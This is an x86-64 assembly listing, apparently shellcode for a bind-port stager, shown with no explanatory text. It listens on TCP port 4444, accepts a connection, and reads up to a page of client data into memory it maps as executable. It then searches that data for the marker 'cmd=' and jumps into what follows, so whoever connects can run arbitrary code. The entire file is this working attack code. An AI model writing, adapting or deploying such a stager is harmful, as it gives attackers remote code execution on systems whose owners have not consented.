BITS 64

SECTION .text
global _start
_start:
	cld ;clear direction flag
	xor rdx, rdx ;zero rdx (proto=0)
	push BYTE 0x01
	pop rsi ;SOCK_STREAM
	push BYTE 0x02
	pop rdi ;AF_INET = 2
	push BYTE 0x29
	pop rax ;sys_socket
	syscall
	mov rbx, rax ; save socket filediscriptor

	;reuse socket
	push 0x01  ;true
	mov r10, rsp ;ptr to optval
	push BYTE 0x08
	pop r8 ;sizeof socklen_t
	push BYTE 0x02
	pop rdx ;SO_REUSEADDR = 2
	push BYTE 0x01
	pop rsi ;SOL_SOCKET = 1
	mov rdi, rbx ;socketfd
	push BYTE 0x36 ;sys_setsockopt
	pop rax
	syscall

	xor rax,rax
	push BYTE 0x10
	pop rdx ;addrlen
	push rax
	push rax
	mov DWORD [rsp], 0x5c110002 ;PORT 0x115c = 4444
	mov rsi, rsp ;ptr to sokaddr
	mov rdi, rbx ;socketfd
	push BYTE 0x31
	pop rax ;sys_bind
	syscall

	xor rsi, rsi ;backlog ptr = NULL
	mov rdi, rbx ;socketfd
	push BYTE 0x32
	pop rax ;sys_listen
	syscall

	;accept
	xor rdx,rdx ;addrlen ptr = NULL
	xor rsi,rsi ;sockaddr ptr = NULL
	mov rdi, rbx ;socketfd
	push BYTE 0x2B
	pop rax ;sys_accept
	syscall

	mov r15, rax ;save client socket fd for later use

	mov rdi, rbx ;close server socket fd
	push BYTE 0x03
	pop rax ;sys_close
	syscall 

	;allocate memory
	
	xor rdi,rdi ;system determines location
	push 0x1000 ;allocated size
	pop rsi
	push BYTE 0x07
	pop rdx ;PROT_READ | PROT_WRITE | PROT_EXEC
	push BYTE 0x22
	pop r10 ; MAP_ANONYMOUS | MAP_PRIVATE
	push rdi
	push rdi
	pop r9 ;offset
	pop r8 ;fd
	push BYTE 0x09
	pop rax
	syscall
	mov r14, rax ;save pointer allocated memory for later use

	;read into allocated memory
	mov rdi, r15 ;client socketfd
	mov rsi, r14 ;ptr to allocated memory
	mov dx, 0x1000 ;read one page of memory
	push BYTE 0x00
	pop rax ;sys_read
	syscall

	;close clientsocketfd
	mov rdi, r15 ;client socketfd
	push BYTE 0x03
	pop rax ;sys_close
	syscall

	mov rsi, r14 ;ptr to allocated memory
search:
	cmp DWORD [rsi], 0x3d646d63 ;compare with "cmd="
	je short found ;cmd= found
	inc rsi
	jmp short search ;search some more
found:
	push BYTE 0x04 ;skip "cmd="
	pop rax
	add rsi, rax
	jmp rsi ;jump to stage
